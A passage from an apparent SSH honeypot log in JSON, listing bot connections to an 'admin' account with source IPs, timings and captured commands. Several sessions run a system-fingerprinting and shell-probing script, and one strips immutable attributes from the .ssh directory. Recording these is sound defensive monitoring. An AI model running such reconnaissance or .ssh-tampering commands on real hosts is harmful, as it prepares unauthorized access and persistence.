2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:22:50.871578+00:00",
  "ended_at": "2026-08-25T15:22:52.330297+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "90a1d3e7-b9c0-486f-8485-a5c5512ae92c",
  "name": "ruddy-daring-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 59248,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:20:40.385167+00:00",
  "ended_at": "2026-08-25T15:20:41.378418+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "dd104333-b49a-440d-9048-b1eb1b922de7",
  "name": "plucky-fearless-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 56586,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:18:17.209841+00:00",
  "ended_at": "2026-08-25T15:18:19.356079+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b336cff9-2b7a-4e00-b808-4831f14b630b",
  "name": "stoic-wiry-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 46010,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T14:33:37.322623+00:00",
  "ended_at": "2026-08-25T14:33:38.603395+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc801f84-4bb8-4196-a1ad-87b25503187c",
  "name": "tangled-hollow-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 58998,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T14:30:28.673416+00:00",
  "ended_at": "2026-08-25T14:30:38.401636+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "61158159-ed3c-4f45-809f-e6d04295589a",
  "name": "foggy-gleaming-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 37210,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T13:30:28.203085+00:00",
  "ended_at": "2026-08-25T13:30:37.911859+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "91095978-0314-4541-9267-a7c4c749ee62",
  "name": "dappled-civil-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 56796,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T13:29:00.480245+00:00",
  "ended_at": "2026-08-25T13:29:01.765275+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5478b025-a5ed-4990-bad8-cbfd2c7fe9f1",
  "name": "quartz-fleeting-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 54026,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:30:26.299834+00:00",
  "ended_at": "2026-08-25T12:30:35.977175+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eae2c63e-05cb-4b8d-bf61-06c193c5c04a",
  "name": "jolly-polar-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 42042,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T12:24:55.318810+00:00",
  "ended_at": "2026-08-25T12:24:56.116934+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4aa3a534-c238-4b2b-ab4a-135636e46e7d",
  "name": "fleeting-cheerful-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 52092,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:30:22.974227+00:00",
  "ended_at": "2026-08-25T11:30:32.691761+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08f20013-0657-4a09-8483-9bbf608cd9af",
  "name": "foggy-candid-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.47",
  "src_port": 50336,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:29:11.180456+00:00",
  "ended_at": "2026-08-25T11:29:12.632338+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3284e186-980b-40c2-a755-a23634017122",
  "name": "gritty-crimson-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 56950,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:23:52.229850+00:00",
  "ended_at": "2026-08-25T11:23:52.542039+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0edee1f6-c125-4bb5-8dfd-c1b37a4fc167",
  "name": "leafy-keen-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.12.221.15",
  "src_port": 46600,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T11:09:45.835620+00:00",
  "ended_at": "2026-08-25T11:09:45.928858+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3739
 },
 {
  "id": "7fb3af0e-60d6-4773-88fc-b9713f80fb92",
  "name": "dusty-proud-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 60338,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:09:31.878755+00:00",
  "ended_at": "2026-08-25T11:09:32.259841+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "43892932-a825-4f04-8643-cbd8d9faf430",
  "name": "grassy-gilded-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 44946,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:09:20.884638+00:00",
  "ended_at": "2026-08-25T11:09:22.508118+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56ad5e2b-db95-47da-a428-ff47533203b2",
  "name": "proud-fleeting-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 59416,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:30:22.002484+00:00",
  "ended_at": "2026-08-25T10:30:31.675505+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aeef3ea7-5d66-46bc-9235-1b1e10dcdbbe",
  "name": "brave-tawny-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 43968,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:24:45.121881+00:00",
  "ended_at": "2026-08-25T10:24:45.629771+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aefb2e5b-fb39-4056-9950-3b9e724bb383",
  "name": "golden-hushed-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 33372,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:05:16.873919+00:00",
  "ended_at": "2026-08-25T10:05:21.403031+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "17b0723c-2659-4490-8c19-1786669646d5",
  "name": "blithe-blazing-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 51112,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:33:04.663348+00:00",
  "ended_at": "2026-08-25T09:33:14.351671+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b52f0950-29a8-4e55-bff3-5cc5b0aa5626",
  "name": "ancient-curious-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 42534,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:25:05.294457+00:00",
  "ended_at": "2026-08-25T09:25:05.964929+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "becb7113-100b-4d68-9cc5-18c2858d13ed",
  "name": "thawing-snowy-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 35256,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:53:29.213884+00:00",
  "ended_at": "2026-08-25T08:53:33.073624+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d9a389b5-51eb-4dce-ac2c-eafca8aa17aa",
  "name": "stormy-fabled-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 51644,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:24:32.325329+00:00",
  "ended_at": "2026-08-25T08:24:33.015870+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ae123a5-ff13-40ea-8660-d9f5fd3a6784",
  "name": "graceful-mottled-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 36416,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T07:36:15.598220+00:00",
  "ended_at": "2026-08-25T07:36:25.282013+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0a3a850-3c31-4130-a830-5d70ef34cb60",
  "name": "golden-wistful-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 46926,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T07:22:04.422559+00:00",
  "ended_at": "2026-08-25T07:22:06.103095+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33770ecc-8d71-449e-9d85-8ae6ff3572f0",
  "name": "ashen-gritty-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 42462,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T06:37:26.220341+00:00",
  "ended_at": "2026-08-25T06:37:35.897815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "99664a92-d78e-48cf-b9de-d74cd77b3f0f",
  "name": "keen-jovial-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "38.148.20.75",
  "src_port": 47850,
  "username": "admin",
  "client_version": "SSH-2.0-libssh2_1.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T06:32:24.298053+00:00",
  "ended_at": "2026-08-25T06:32:26.745120+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "114041cf-a498-4b2d-a118-3bffa8e62fa3",
  "name": "merry-northern-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 44982,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T06:29:40.531535+00:00",
  "ended_at": "2026-08-25T06:29:45.007383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e6e839fa-0e39-47b8-85e0-b25f2472760a",
  "name": "hushed-feral-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 35380,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T06:16:25.357152+00:00",
  "ended_at": "2026-08-25T06:16:26.185215+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06d539f3-42b5-4cae-869a-a1d1c28379ed",
  "name": "gleaming-mossy-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 42798,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T05:37:32.307388+00:00",
  "ended_at": "2026-08-25T05:37:42.026718+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ede35858-bb7f-4326-9b2f-2c6eb9032e8d",
  "name": "crimson-opal-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 35958,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T05:05:52.785619+00:00",
  "ended_at": "2026-08-25T05:05:54.433870+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4fc877e6-765b-4a0c-bde3-d448bbd73f7b",
  "name": "rugged-bitter-agouti",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "207.175.26.224",
  "src_port": 17618,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T04:44:45.493475+00:00",
  "ended_at": "2026-08-25T04:44:47.426009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4c0a143-118a-439a-8774-0267ca71de16",
  "name": "humble-weathered-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 46682,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T04:37:33.958559+00:00",
  "ended_at": "2026-08-25T04:37:43.634366+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "abe5ba6a-ec28-4d04-8962-de16fc6995ef",
  "name": "loyal-distant-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 44068,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T04:01:49.606529+00:00",
  "ended_at": "2026-08-25T04:01:50.833291+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75b7339c-844c-42c5-95f7-cadaa74072c9",
  "name": "marine-bitter-fossa",
  "protocol": "ssh",
  "channel_kind": null,
